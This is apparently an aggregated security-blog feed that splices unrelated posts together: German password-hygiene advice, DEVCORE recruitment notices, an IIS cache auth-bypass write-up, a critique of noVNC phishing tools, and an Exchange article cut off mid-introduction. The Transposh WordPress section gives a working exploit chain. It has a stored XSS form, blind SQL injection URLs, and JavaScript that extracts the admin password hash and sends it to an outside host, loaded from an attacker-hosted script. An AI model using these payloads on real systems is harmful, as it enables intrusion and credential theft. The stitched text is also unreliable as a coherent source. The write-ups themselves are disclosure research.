CVE-2022-25237: Bonitasoft Authorization Bypass and RCE
The post CVE-2022-25237: Bonitasoft Authorization Bypass and RCE appeared first on Rhino Security Labs.
Der Beitrag HanseSecure auf der itsa 2022 erschien zuerst auf HanseSecure GmbH.
Ein gewöhnlicher Arbeitstag bei der Usability-First AG in München. Die 2000 Mitarbeiter arbeiten derzeit an zahlreichen Großprojekten und fokussieren entsprechend die Produktivität. Auch Nina Nixmerker ist in Ihrem Projekt vertieft. Am Samstagmorgen wählt sich Nina aus dem HomeOffice ein, um noch einige Projektabschnitte für Montag abzuschließen. Sie wundert sich kurz, dass Sie bei der Anmeldung ihre bestehende Session beenden muss, da Sie sich sicher ist, sich am Freitag noch regulär abgemeldet zu haben.
Am Montag stellte die IT fest, dass ihre Zugangsdaten nicht mehr funktionierten. Nachdem Sie sich mit dem Notfall-Admin Account angemeldet haben, mussten diese feststellen, dass sich keine Dateien mehr öffnen ließen und mit einer .locked-Dateiendung versehen waren. Nach wenigen Minuten startete ein Chatfenster bei dem Account der IT mit dem Hinweis, dass die Unternehmensdateien verschlüsselt seien und man ab 15 Uhr für die Verhandlungen zur Verfügung stünde.
Das Unternehmen Usability-First hat es in den vergangenen Jahren versäumt eine Password Policy einzuführen, noch die Nutzer entsprechend zu sensibilisieren. Somit arbeiteten alle 2000 Mitarbeiter im Unternehmen mit der Default Windows Domain Policy, welche unter anderem folgende Werte vorgibt:
Aufgrund fehlender Awareness, Tools und Unternehmensvorgaben hatte Nina Nixmerker für alle Ihre Accounts das gleiche Passwort. Das Passwort Nina.N1! verwendete Sie sowohl auf Social Media wie Twitter, Instagram und Facebook, wie auch für Ihren Windows und VPN-Account.
Durch einen Datenleak bei Facebook wurde 2021 ihr Passwort offengelegt, wodurch Angreifer zunächst ihre privaten Accounts kompromittiert haben. Hierdurch stellten die Angreifer fest, dass Nina in einer mittleren Management Position in einem Umsatzstarken Unternehmen tätig war. Nachdem die Angreifer sich anschließend im Netzwerk angemeldet hatten, stellten diese fest, dass zahlreiche User (darunter auch der Domain Admin) den Usernamen als Passwort verwendeten, wodurch diese im Zeitraum von Freitagabend bis Montag das gesamte Unternehmen verschlüsseln konnten.
Es gibt grundsätzlich 4 einfache und eine mittelkomplexe Maßnahme zur Minimierung derartiger Risiken.
Kaum jemand kann sich mehr als eine Hand voll komplexer Passwörter merken. Wir sind der Überzeugung, dass Nutzer sich in der Regel nur 3 Passwörter merken müssen.
Alle weiteren Zugangsdaten werden in einem Passwort Safe erzeugt und verschlüsselt abgelegt. Bei der Auswahl des Tools solltet Ihr folgende Aspekte beachten:
Einfache Nutzung für die Nutzer (also Apps für Client, Smartphone und Plugin für Browser), Synchronisierung über Geräte und Rollen- und Rechtestruktur. Wir sind zusätzlich der Meinung, dass man Passwortsafes niemals in der Cloud hosten sollte, sollte immer eine OnPrem Lösung bevorzugen sollte.
Eine angemessene Password Policy im Unternehmen würde verhindern, dass sehr einfach und unbedacht Passwörter verwendet werden. Auch eine Lockout Sperre bei fehlgeschlagenen Anmeldeversuchen ist zwingend erforderlich. Wir empfehlen unseren Kunden folgende Konfiguration
Dies ist unsere Empfehlung aus zahlreichen Assessments der vergangenen Jahrzenten. Falls Ihr der Meinung seid, dass 14 Zeichen mit unendlichem Passwortalter die bessere Alternative ist, seid ihr herzlich eingeladen mit mir auf Twitter zu diskutieren
Ohne ein grundlegendes Verständnis über Passwörter (Mehrfachverwendung – Datenleak, Identitätsdiebstahl, Schwache Passwörter, etc.) helfen die oben aufgeführten Maßnahmen nur bedingt. Deshalb sollten die Nutzer bezüglich dieses Themas (mindestens bei Onboarding im Idealfall 1x/Jahr) Informationen zu diesem Thema erhalten. Hier ein inhaltliches Beispiel für Tipps zum merken sicherer Passwörter -> Link auf Blogbeitrag
Sofern möglich, sollten mindestens die Passwörter in der Domain und bei öffentlichen (aus dem Internet erreichbar) Anwendungen jährlich überprüft werden. Bei Fragen, wie man dies im Idealfall prüft, sucht Euch einfach einen Dienstleister Eures Vertrauens
*Aus der Blog-Serie Top Security QuickFails
Der Beitrag Top Security QuickFails: #6 Die Passwortwahl: Viel Diskussion, wenig Umsetzung erschien zuerst auf HanseSecure GmbH.
You probably have read about my recent swamp of CVEs affecting a WordPress plugin called Transposh Translation Filter, which resulted in more than $30,000 in bounties:
Here’s the story about how you could chain three of these CVEs to go from unauthenticated visitor to admin.
So the first issue arises when you add Transposh as a plugin to your WordPress site; it comes with a weak default configuration that allows any user (aka Anonymous
) to submit new translation entries using the ajax action tp_translation
:
This effectively means that an attacker could already influence the (translated) content on a WordPress site, which is shown to all visitors.
The same ajax action tp_translation
can also be used to permanently place arbitrary JavaScript into the Transposh admin backend using the following payload:
<html>
<body>
<form action="http://[host]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="tp_translation" />
<input type="hidden" name="ln0" value="en" />
<input type="hidden" name="sr0" value="0" />
<input type="hidden" name="items" value="1" />
<input type="hidden" name="tk0" value="xss<script>alert(1337)</script>" />
<input type="hidden" name="tr0" value="test" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
When an administrator now visits either Transposh’s main dashboard page at /wp-admin/admin.php?page=tp_main
or the Translation editor
tab at /wp-admin/admin.php?page=tp_editor
, then they’ll execute the injected arbitrary JavaScript:
At this point, you can already do a lot of stuff on the backend, but let’s escalate it further by exploiting a seemingly less severe authenticated SQL Injection.
So this is probably the most exciting part, although the SQL Injections alone only have a CVSS score of 6.8 because they are only exploitable using administrative permissions. Overall, we’re dealing with a blind SQL Injection here, which can be triggered using a simple sleep payload:
/wp-admin/admin.php?page=tp_editor&orderby=lang&orderby=lang&order=asc,(SELECT%20(CASE%20WHEN%20(1=1)%20THEN%20SLEEP(10)%20ELSE%202%20END))
This results in a nice delay of the response proving the SQL Injection:
To fully escalate this chain, let’s get to the most interesting part.
Have you ever thought about how to exploit a blind SQL Injection via JavaScript? You might have read my previous blog article, where I used a similar bug chain, but with an error-based SQL Injection. That one only required a single injection payload to exfiltrate the admin user’s password, which is trivially easy. However, to exploit a blind SQL Injection, you typically need hundreds, probably thousands of boolean (or time-based) comparisons to exfiltrate data. The goal here is the same: extracting the administrator’s password from the database.
Now, you might think: well, you could use a boolean comparison and iterate over each character of the password. However, since those hashed passwords (WordPress uses the pHpass algorithm to create passwords) are typically 30 characters long (excluding the first four static bytes $P$B
) and consist of alphanumeric characters including some special chars (i.e. $P$B55D6LjfHDkINU5wF.v2BuuzO0/XPk/
), going through all the possible ASCII characters from 46 (“.”) to 122 (lower-capital “z”) would require you to send around 76 requests per character which could result in 76*30 = 2280 requests.
This is a lot and will require the victim to stay on the page for quite a while.
So let’s do it a bit smarter with only around 320 requests, which is around 84% fewer requests. Yes, you might still find more optimization potential in my following approach, but I find 84% to be enough here.
While doing the source code review to complete this chain, I stumbled upon a useless attempt to filter special characters for the vulnerable order
and orderBy
parameters. It looks like they decided to only filter for FILTER_SANITIZE_SPECIAL_CHARS
which translates to "<>&
:
$orderby = (!empty(filter_input(INPUT_GET, 'orderby', FILTER_SANITIZE_SPECIAL_CHARS)) ) ? filter_input(INPUT_GET, 'orderby', FILTER_SANITIZE_SPECIAL_CHARS) : 'timestamp';
$order = (!empty(filter_input(INPUT_GET, 'order', FILTER_SANITIZE_SPECIAL_CHARS)) ) ? filter_input(INPUT_GET, 'order', FILTER_SANITIZE_SPECIAL_CHARS) : 'desc';
It’s still a limitation, but easy to work around: we’re just going to replace the required comparison characters <
and >
with a between x and y
. We don’t actually care about "
and &
since the payload doesn’t really require them.
The SQL Injection payload that can be used looks like the following (thanks to sqlmap for the initial payload!):
(SELECT+(
CASE+WHEN+(
ORD(MID((SELECT+IFNULL(CAST(user_pass+AS+NCHAR),0x20)+FROM+wordpress.wp_users+WHERE+id%3d1+ORDER+BY+user_pass+LIMIT+0,1),1,1))
+BETWEEN+1+AND+122)+
THEN+1+ELSE+2*(SELECT+2+FROM+wordpress.wp_users)+END))
I’ve split the payload up for readability reasons here. Let me explain its core components:
ORD()
(together with the MID
) walks the user_pass
string which is returned by the subquery character by character. This means we’ll get the password char by char. I’ve also added a WHERE id=1
clause to ensure we’re just grabbing the password of WordPress’s user id 1
, which is usually the administrator of the instance.CASE WHEN
–> BETWEEN 1 and 122
part validates whether each returned character matches an ordinal between 1 and 122.THEN
–> ELSE
part makes the difference in the overall output and the datapoint we will rely on when exploiting this with a Boolean-based approach.Let’s see how we can differentiate the responses to the BETWEEN x and y
part. We do already know that the first character of a WordPress password is $
(ASCII 36
), so let’s take this to show how the application reacts.
The payload /wp-admin/admin.php?page=tp_editor&orderby=lang&orderby=lang&order=asc,(SELECT+(CASE+WHEN+(ORD(MID((SELECT+IFNULL(CAST(user_pass+AS+NCHAR),0x20)+FROM+wordpress.wp_users+WHERE+id%3d1+ORDER+BY+user_pass+LIMIT+0,1),1,1))+BETWEEN+100+AND+122)+THEN+1+ELSE+2*(SELECT+2+FROM+wordpress.wp_users)+END))
performs a BETWEEN 100 and 122
test which results in the following visible output:
The payload /wp-admin/admin.php?page=tp_editor&orderby=lang&orderby=lang&order=asc,(SELECT+(CASE+WHEN+(ORD(MID((SELECT+IFNULL(CAST(user_pass+AS+NCHAR),0x20)+FROM+wordpress.wp_users+WHERE+id%3d1+ORDER+BY+user_pass+LIMIT+0,1),1,1))+BETWEEN+1+AND+122)+THEN+1+ELSE+2*(SELECT+2+FROM+wordpress.wp_users)+END))
in return performs a BETWEEN 1 and 122
check and returns a different visible output:
As you can see on the last screenshot, in the true
case, the application will show the Bulk actions
dropdown alongside the translated strings. This string will be our differentiator!
So we need to find a way not to have to send 76 requests per character - from 46 (.
) to 122 (lower-capital z
). So let’s do it by approximation. My idea is to use the range of 46-122 and apply some math:
Let’s first define a couple of things:
46
: the lowest end of the possible character set –> cur
(current) value.122
: the upper end of the possible character set –> max
(maximum) value.0
: the previous valid current value –> prev
value. Here we need to keep track of the previously true
case value to be able to revert the calculation to a working case if we’d encounter a false
case. 0 because we don’t know the first valid value.Doing the initial between check
of cur
and max
will always result in a true
case (because it’s the entire allowed character set). To narrow it down, we now point cur
value to exactly the middle between cur
and max
using the formula:
cur = cur + (Math.floor((max-cur)/2));
This results in a check of BETWEEN 84 and 122
. So we’re checking if the target is located in the upper OR implicitly in the lower half of the range. If this would again result in a true
case because the character in probing is in that range, do the same calculation again and narrow it down to the correct character.
However, if we’d encounter a false
case because the character is lower than 84
, then let’s set the max
value to the cur
one because we have to instead look into the lower half, and also set cur
to the prev
value to keep track of it.
Based on this theory and to match the character uppercase C
(ASCII: 67), the following would happen:
true: cur:84, prev:46,max:122
true: cur:65, prev:46,max:84
true: cur:74, prev:65,max:84
true: cur:69, prev:65,max:74
true: cur:67, prev:65,max:69
true: cur:68, prev:67,max:69
true: cur:67, prev:67,max:68
Finally, if cur
equals prev
, we’ve found the correct char. And it took about seven requests to get there, instead of 21 (67-46).
Honestly, I’m not a JavaScript pro, and there might be ways to optimize it, but here’s my implementation of it, which should work with any blind SQL Injections that you want to chain with an XSS against WordPress:
async function exploit() {
let result = "$P$B";
let targetChar = 5;
let prev = 0;
let cur = 46;
let max = 122;
let requestCount = 0;
do {
let url = `/wp-admin/admin.php?page=tp_editor&orderby=lang&orderby=lang&order=asc,(SELECT+(CASE+WHEN+(ORD(MID((SELECT+IFNULL(CAST(user_pass+AS+NCHAR),0x20)+FROM+wordpress.wp_users+WHERE+id%3d1+ORDER+BY+user_pass+LIMIT+0,1),${targetChar},1))+BETWEEN+${cur}+AND+${max})+THEN+1+ELSE+2*(SELECT+2+FROM+wordpress.wp_users)+END))`
const response = await fetch(url)
const data = await response.text()
requestCount = requestCount + 1;
// this is the true/false differentiator
if(data.includes("Bulk actions"))
{
// "true" case
prev = cur;
cur = cur + (Math.floor((max-cur)/2));
//console.log('true: cur:' + cur + ', prev:' + prev + ',max:' + max );
if(cur === 0 && prev === 0) {
console.log('Request count: ' + requestCount);
return(result)
}
// this means we've found the correct char
if(cur === prev) {
result = result + String.fromCharCode(cur);
// reset initial values
prev = 0;
cur = 20;
max = 122;
// proceed with next char
targetChar = targetChar + 1;
console.log(result);
}
}
else
{
// "false" case
// console.log('false: cur:' + cur + ', prev:' + prev + ',max:' + max );
max = cur;
cur = prev;
}
} while (1)
}
exploit().then(x => {
console.log('password: ' + x);
// let's leak it to somewhere else
leakUrl = "http://www.rcesecurity.com?password=" + x
xhr = new XMLHttpRequest();
xhr.open('GET', leakUrl);
xhr.send();
});
Now you could inject a Stored XSS payload like the following, which points a script src
to a JavaScript file containing the payload:
<html>
<body>
<form action="http://[host]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="tp_translation" />
<input type="hidden" name="ln0" value="en" />
<input type="hidden" name="sr0" value="xss" />
<input type="hidden" name="items" value="3" />
<input type="hidden" name="tk0" value="xss<script src="https://www.attacker.wf/ff.js">" />
<input type="hidden" name="tr0" value="test" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Trick an admin into visiting the Transposh backend, and finally enjoy your WordPress hash:
DEVCORE 自 2012 成立以來已邁向第十年,我們很重視台灣的資安,也專注找出最嚴重的弱點以保護世界。雖然公司規模擴張不快,但在漸漸站穩腳步的同時,我們仍不忘初衷:從 2020 開始在輔大、台科大成立資安獎學金;在 2021 年末擴大徵才,想找尋有著相同理念的人才一起奮鬥;今年年初,我們開始嘗試舉辦第一屆實習生計畫,希望培育人才、增強新世代的資安技能,最終成果也超乎預期。於是我們決定在今年 9 月進行第二屆實習生計畫,如果您對這個計畫有興趣,歡迎來信報名!
本次實習分為 Binary 及 Web 兩個組別,主要內容如下:
台北市松山區八德路三段 32 號 13 樓
大專院校大三(含)以上具有一定程度資安背景的學生
每月新台幣 16,000 元
本次甄選一共分為二個階段:
第一階段為書面審查,會需要審查下列兩個項目
我們會根據您的履歷及所回答的內容來決定是否有通過第一階段,會在七個工作天內回覆。
此階段為 1~2 小時的面試,會有 2~3 位資深夥伴參與,評估您是否具備本次實習所需的技術能力與人格特質。
http://site.fake.devco.re/index.php?foo=bar
),隨後按下 Enter 鍵到出現網頁畫面為止,請問中間發生了什麼事情?請根據你所知的知識背景,以文字盡可能說明。若有應徵相關問題,請一律使用 Email 聯繫,如造成您的不便請見諒,我們感謝您的來信,並期待您的加入!
Gängige Bewerberportale bieten den Nährboden für falsche Stellenanzeigen und den einhergehenden Identitätsdiebstahl.
“Schicken Sie uns Ihren Lebenslauf und wir benötigen Ihre Daten”, somit -VIELEN DANK für IHRE IDENTITÄT.
Erkennbar ist für Bewerber nichts! Diese Masche läuft schnell und unkompliziert. Die Gefahr- plötzlich führt die Unwissenheit zur Strafe. Strafverfahren für den gutgläubigen Bewerber folgen.
Wer sich den Beitrag ansehen möchte, kann sich diesen entweder als Beitrag oder Video ansehen
Der Beitrag HanseSecure im ARD München Report erschien zuerst auf HanseSecure GmbH.
Am 21.Juli 2022 lud die „blu Sytems GmbH“ zum Praxistalk ein.
DIGITAL GOVERNANCE- NUR EIN WEITERES BUZZWORD?
Partner der „blu Systems GmbH“ Führungskräfte, IT-Leiter, IT Security Manager
“Security einfach, schnell und kostenfrei”
Der Beitrag HanseSecure als Speaker in der Allianz Arena München erschien zuerst auf HanseSecure GmbH.
Hi, this is my fifth time speaking at Black Hat USA and DEFCON. You can get the slide copy and video there:
As the most fundamental Data Structure in Computer Science, Hash Table is extensively used in Computer Infrastructures, such as Operating Systems, Programming Languages, Databases, and Web Servers. Also, because of its importance, Microsoft has designed its own Hash Table algorithm from a very early stage, and applied it heavily to its web server, IIS.
Since IIS does not release its source code, I guess the algorithm implementation details should be an unexplored area to discover bugs. Therefore, this research mainly focuses on the Hash Table implementation and its usage. We also look into the Cache mechanism because most of the Hash Table usages in IIS are Cache-Related!
Because most of the details are in the slides, please forgive me this time for this brief write-ups instead of a full blog.
P.S. All vulnerabilities addressed in this blog have been reported responsibly to Microsoft and patched in July 2022.
It’s hard to imagine that we can still see such a classic Algorithmic Complexity Attack as Hash-Flooding Attack in IIS in 2022. Although Microsoft has configured a thread deleting outdated records every 30 seconds to mitigate the attack, we still found a key-splitting bug in the implementation to amplify our power by over 10 times to defeat the guardian by zero hashes. Through this bug we can make a default installed IIS Server unresponsive with about 30 connections per second!
Because this bug also qualifies for the Windows Insider Preview Bounty Program, we also rewarded $30,000 for this DoS. This is the maximum bounty for the category of Denial-of-Service!
You can check the full demo video here:
Compared with other marvelous Cache Poisoning research, this one is relatively plain. The bug is found in the component of Output Caching, the module responsible for caching dynamic responses to reduce expensive database or filesystem access on web stacks.
Output Caching uses a bad Query String parser that only takes the first occurrence as the Cache-Key when Query String keys are duplicated. This behavior is actually not a problem independently. However, it’s a trouble in the view of the whole architecture with the backend, ASP.NET. The backend concatenates the value of all repeated keys together, which leads to an inconsistency between parser behaviors. Therefore, a classic HTTP Parameter Pollution can make IIS cache the wrong result!
This may be the most interesting bug of this talk. LKRHash is a Hash Table algorithm designed and patented by Microsoft in 1997. It’s based on Linear Hashing and created by Paul Larson of Microsoft Research, Murali Krishnan and George Reilly of the IIS team.
LKRHash aims to build a scalable and high-concurrent Hash Table under the multithreading and multi-core environment. The creators put a lot of effort into making this implementation portable, flexible and customizable to adapt to multiple products across Microsoft. An application can define its own Table-Related functions, such as the Hash Function, the Key Extracting Function, or the Key Comparing Function. This kind of extensibility creates a bunch of opportunities for vulnerability mining. So, under this context, we cares more about the relationship between the records, the keys, and the functions.
CLKRHashTable::CLKRHashTable(
this,
"TOKEN_CACHE", // An identifier for debugging
pfnExtractKey, // Extract key from record
pfnCalcKeyHash, // Calculate hash signature of key
pfnEqualKeys, // Compare two keys
pfnAddRefRecord, // AddRef in FindKey, etc
4.0, // Bound on the average chain length.
1, // Initial size of hash table.
0, // Number of subordinate hash tables.
0 // Allow multiple identical keys?
);
Because “Logon” is an expensive operation, to improve the performance, IIS cached all tokens for password-based authentications, such as Basic Authentication by default, and the bug we found this time is located in the logic of the key-comparing function when a collision occurs.
If a login attempt whose hash hits a key that is already in the cache, LKRHash enters the application-specific pfnEqualKeys
function to determine whether the key is correct or not. The application-specific logic of TokenCacheModule
is as follows:
As the logic compares several parts to make the decision, it’s weird why IIS compares the username twice.
I guess the original intent was to compare the password. However, the developer copy-and-pasted the code but forgot to replace the variable name. That leads to that an attacker can reuse another user’s logged-in token with random passwords.
To build the smallest PoC to test your own, you can create a testing account and configure the Basic Authentication on your IIS.
# add a test account, please ensure to remove that after testing
> net user orange test-for-CVE-2022-30209-auth-bypass /add
# the source of login is not important, this can be done outside IIS.
> curl -I -su 'orange:test-for-CVE-2022-30209-auth-bypass' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
Under the attacker’s terminal:
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
As you can see, the attacker can log into the user orange
with another password whose hash is the same as the original one.
However, it’s not easy to collide the hash. The probability of each attempt is only worth 1/2^32 because the hash is a 32-Bit Integer, and the attacker has no way to know the hash of existing cache keys. It’s a ridiculous number to make exploiting this bug like playing a lottery. The only pro is that the attempt costs nothing, and you have unlimited tries!
To make this bug more practical, we proposed several ways to win the lottery, such as:
We have also proved this attack works naturally on Microsoft Exchange Server. By leveraging the default activated Exchange Active Monitoring
service, we can enter HealthMailbox
’s mailbox without passwords! This authentication-less account hijacking is useful for further exploitations such as phishing or chaining another post-auth RCE together!
戴夫寇爾自 2012 年成立以來,秉持著為台灣累積更豐厚的資安競爭力,不只透過主動式資安服務協助企業檢測資安防禦,進而提升整體資安體質;同時我們也很關注資安技術人才的培育,除了擔任學術、政府單位專任講師及顧問以外,也長期支持學生時期創辦的校園資安社團 NISRA(Network and Information Security Research Association),幫助學生們從學生時代建構正確的資訊安全意識及技能外,也更早瞭解資安產業的現況,與產業界接軌。
近來產業紛紛加速數位轉型腳步,資安事件頻傳,加上相關法規的增設及施行,我們也觀察到資安重要性的關注度都大幅提高,為了培養更多人可以理解「駭客思維」、能模擬駭客攻擊情境、找出潛在資安風險,我們將擴大施行「資安人才培育計畫」,透過戴夫寇爾全國資訊安全獎學金及贊助資安教育活動等,支持更多志同道合的學子們關注資安議題,及早增強資安技能。
我們從學生時代就熱衷於資安研究,也透過校園課程、社團 NISRA 獲得充實的資安知識,有感於此,我們創立戴夫寇爾後也為母校—天主教輔仁大學、國立臺灣科技大學的學生設立了獎學金計畫,為學生的資安學習之路奉獻一點力量。
此計畫在 2022年(111 學年度)已邁入第 4 年,我們也擴大補助的範疇,首度為全國大專院校學生推出「戴夫寇爾全國資訊安全獎學金」,只要在資訊安全領域有出眾研究成果的學生,皆可以申請「戴夫寇爾全國資訊安全獎學金」補助,幫助大家在求學期間更加專注學習、奠定資安專長,進而形成正向循環。
有意申請者需提出學習資安的動機與歷程,並繳交資安研究或比賽成果,獲選者將能得到最高 2 萬元的研究補助,共 10 名。詳細申請辦法請見以下:
身為資安人,我們在學生時期所累積對資安熱情和好奇心,支撐著我們一路走來,不忘初衷地協防台灣安全,同時也期望可以用一點力量為社會帶來貢獻,期盼在未來可以幫助更多社團或社群的力量成為培養專業的養分。
因此,今年度我們也將持續贊助資安教育活動,提供經費予資安相關之社群、社團辦理各項活動,藉此降低資安知識落差,持續推廣資訊安全意識及技能,更進一步凝聚台灣資安社群的力量,幫助台灣培養下一個世代的資安人才。
Dear Fellowlship, today’s homily is a rebuke to all those sinners who have decided to abandon the correct path of reverse proxies to bypass 2FA. Penitenziagite!
This post will be small and succinct. It should be clear that these are just opinions about this technique that has become trendy in the last weeks, so it will be a much less technical article than we are used to. Thanks for your understanding :)
In recent weeks, we have seen several references to this technique in the context of phishing campaigns, and its possible use to obtain valid sessions by bypassing MFA/2FA. Until now, the preferred technique for intercepting and reusing sessions to evade MFA/2FA has been the use of reverse proxies such as Evilginx or Muraena. These new proof of concepts based on HTML5 VNC clients boil down to the same concept: establishing a Man-in-the-Middle scheme between the victim’s browser and the target website, but using a browser in kiosk mode to act as a proxy instead of a server that parses and forwards the requests.
Probably the article that started this new trend was Steal Credentials & Bypass 2FA Using noVNC by @mrd0x.
We believe the usage of noVNC and similar technologies is really interesting as proof of concepts, but at the moment they do not reach the bare minimum requirements to be used in real Red Team engagements or even pentesting. Let’s take EvilnoVNC as an example.
While testing this tool the following problems arise:
Even an untrained user would find out about these issues just with the look and feel.
On the other hand, the operator is heavily restricted in order to achieve a minimum of OPSEC. As an example, we can think about the most basic check we should bypass: User-Agent. Mimicking the User-Agent used by the victim is trivial when dealing with proxies, as we only need to forward it in the request from our server to the real website, but in the case of a browser using kiosk mode it is a bit more difficult to achieve. And the same goes for other modifications that we should make to the original request like, for example, blocking the navigation to a /logout
endpoint that would nuke the session.
Another fun fact about this tool is… it does not work. If you test the tool you will find the following:
psyconauta@insulanova:/tmp/EvilnoVNC/Downloads|main⚡ ⇒ cat Cookies.txt
Host: .google.com
Cookie name: AEC
Cookie value (decrypted): Encrypted
Creation datetime (UTC): 2022-09-10 19:44:54.548204
Last access datetime (UTC): 2022-09-10 21:31:39.833445
Expires datetime (UTC): 2023-03-09 19:44:54.548204
===============================================================
Host: .google.com
Cookie name: CONSENT
Cookie value (decrypted): Encrypted
Creation datetime (UTC): 2022-09-10 19:44:54.548350
Last access datetime (UTC): 2022-09-10 21:31:39.833445
Expires datetime (UTC): 2024-09-09 19:44:54.548350
===============================================================
(...)
Which is really odd. If you check the code from the GitHub repo…
import os
import json
import base64
import sqlite3
from datetime import datetime, timedelta
def get_chrome_datetime(chromedate):
"""Return a `datetime.datetime` object from a chrome format datetime
Since `chromedate` is formatted as the number of microseconds since January, 1601"""
if chromedate != 86400000000 and chromedate:
try:
return datetime(1601, 1, 1) + timedelta(microseconds=chromedate)
except Exception as e:
print(f"Error: {e}, chromedate: {chromedate}")
return chromedate
else:
return ""
def main():
# local sqlite Chrome cookie database path
filename = "Downloads/Default/Cookies"
# connect to the database
db = sqlite3.connect(filename)
# ignore decoding errors
db.text_factory = lambda b: b.decode(errors="ignore")
cursor = db.cursor()
# get the cookies from `cookies` table
cursor.execute("""
SELECT host_key, name, value, creation_utc, last_access_utc, expires_utc, encrypted_value
FROM cookies""")
# you can also search by domain, e.g thepythoncode.com
# cursor.execute("""
# SELECT host_key, name, value, creation_utc, last_access_utc, expires_utc, encrypted_value
# FROM cookies
# WHERE host_key like '%thepythoncode.com%'""")
# get the AES key
for host_key, name, value, creation_utc, last_access_utc, expires_utc, encrypted_value in cursor.fetchall():
if not value:
decrypted_value = "Encrypted"
else:
# already decrypted
decrypted_value = value
print(f"""
Host: {host_key}
Cookie name: {name}
Cookie value (decrypted): {decrypted_value}
Creation datetime (UTC): {get_chrome_datetime(creation_utc)}
Last access datetime (UTC): {get_chrome_datetime(last_access_utc)}
Expires datetime (UTC): {get_chrome_datetime(expires_utc)}
===============================================================""")
# update the cookies table with the decrypted value
# and make session cookie persistent
cursor.execute("""
UPDATE cookies SET value = ?, has_expires = 1, expires_utc = 99999999999999999, is_persistent = 1, is_secure = 0
WHERE host_key = ?
AND name = ?""", (decrypted_value, host_key, name))
# commit changes
db.commit()
# close connection
db.close()
if __name__ == "__main__":
main()
As you can see, the script is just a rip off from this post, but the author of EvilnoVNC deleted the part where the cookies are decrypted :facepalm:.
You can not grab the cookies because you are setting its value to the literal string Encrypted
instead of the real decrypted value :yet-another-facepalm:. We did not check if this dockerized version saves the master password in the keyring or if it just uses the hardcoded ‘peanuts’. In the former case, copying the files to your profile shouldn’t work.
The capability to detect this technique heavily relies on what can you inspect. The current published tooling uses a barely modified version of noVNC, meaning that if you are already inspecting web JavaScript to catch malicious stuff like HTML smuggling, you could add signatures to detect the use of RFB. Of course it is trivial to bypass this by simply obfuscating the JavaScript, but you are sure to catch a myriad of ball-busting script kiddies.
psyconauta@insulanova:/tmp/EvilnoVNC/Downloads|main⚡ ⇒ curl http://localhost:5980/ 2>&1 | grep RFB
// RFB holds the API to connect and communicate with a VNC server
import RFB from './core/rfb.js';
// Creating a new RFB object will start a new connection
rfb = new RFB(document.getElementById('screen'), url,
// Add listeners to important events from the RFB module
Moreover, all control is done through the RFB over WebSockets protocol, so it is quite easy to spot this type of traffic as it is unencrypted at the application level.
Additionally, because this protocol is easy to implement, you can create a small script to send keystrokes and/or mouse movements directly to escape from Chromium to the desktop.
This tool executes noVNC on a docker so there is not much to do after escaping from Chromium, but think about other script kiddies who execute it directly on a server :). Automating the scanner & pwnage of this kind of phishing sites is easy if you have the time.
From the point of view of the endpoint to log into, it is easier to detect the use of a User-Agent other than the usual one. If your user base accesses your VPN web portal from Windows, someone connecting from Linux should trigger an alert.
And finally, the classic “training-education-whatever” of users would help a lot as the current state of the art is trivial to spot.
Tooling around this concept of MFA/2FA bypassing is still too rudimentary to be used in real engagements, although they are really cool proof of concepts. We believe it will evolve within the next years (or months) and people will start to work on better approaches. For now, reverse proxies are still more powerful as they can be easily configured to blend in with legitimate traffic, and the user does not experience look and feel annoyances.
We hope you enjoyed this reading! Feel free to give us feedback at our twitter @AdeptsOf0xCC.
你對資安研究有滿腔熱血但卻找不到人討論嗎? 常常參加各大 CTF 比賽,卻不知如何將學會的技能發揮在真實世界中嗎? 你也想要為保護世界盡一份心力嗎?
DEVCORE Research Team 成立數年來持續研究最前瞻的資安技術,回報過多個世界級的漏洞,在 Black Hat、DEFCON 等國際資安研討會都能看見我們的戰績,Pwnie Awards、Best Web Hacking Techniques 各種獎項我們也毫不留情地橫掃,在 Pwn2Own 駭客大賽中更是列居首位!然而,資安領域之廣、更迭速度之快,單憑寥寥數人也是力有未逮,
一個人走,可以走得很快;但一群人走,可以走得更遠。
故此,We Need YOU!
現在,DEVCORE Research Team 公開徵求資安研究員囉!不論你是專精於網頁安全,或是對逆向工程情有獨鍾,甚至你喜歡動手拆解硬體,我們不需要你的肝,只需要你對於資安研究的熱忱!我們看重的不是工作經驗,而是對資安傾注過多少心力!
在這裡工作,你將可以得到
想把駭客作為你的終身職嗎?歡迎各領域的駭客們一起加入!
新台幣 80,000 - 100,000 (保證年薪 14 個月)
詳細的工作環境與應徵方式請參考招募頁面
Hi, this is a long-time-pending article. We could have published this article earlier (the original bug was reported to MSRC in June 2021 with a 90-days Public Disclosure Policy). However, during communications with MSRC, they explained that since this is an architectural design issue, lots of code changes and testings are expected and required, so they hope to resolve this problem with a one-time CU (Cumulative Update) instead of the regular Patch Tuesday. We understand their situation and agree to extend the deadline.
Microsoft eventually released Exchange Server 2019 CU 12 and Exchange Server 2016 CU 23 on April 20, 2022. However, this patch did not enable by default. Microsoft didn’t release the patch-activating methods until August 09, 2022. So, we originally had the opportunity to demonstrate our attack at Pwn2Own Vancouver 2021. However, we dropped the idea quickly because our intention is not to earn bounties. We are here to secure the world! You can check the Timeline to know the detailed disclosure process.
Since Microsoft blocked our Proxy-Related attacks in April 2021, I have been thinking about whether there is a way to bypass the mitigation. During that April patch, Microsoft enhanced the authentication part of CAS Frontend by requiring all HTTP requests that need a Kerberos Ticket to be authenticated first. This enhancement effectively mitigated the attack surface we proposed and stopped unauthenticated HTTP requests accessing the CAS Backend. So Exchange is safe now?
Of course not, and this article is to prove this! Since Microsoft only fixes the problematic code, we proposed several attacks and possible weaknesses in our POC 2021 and HITCON 2021 talks.
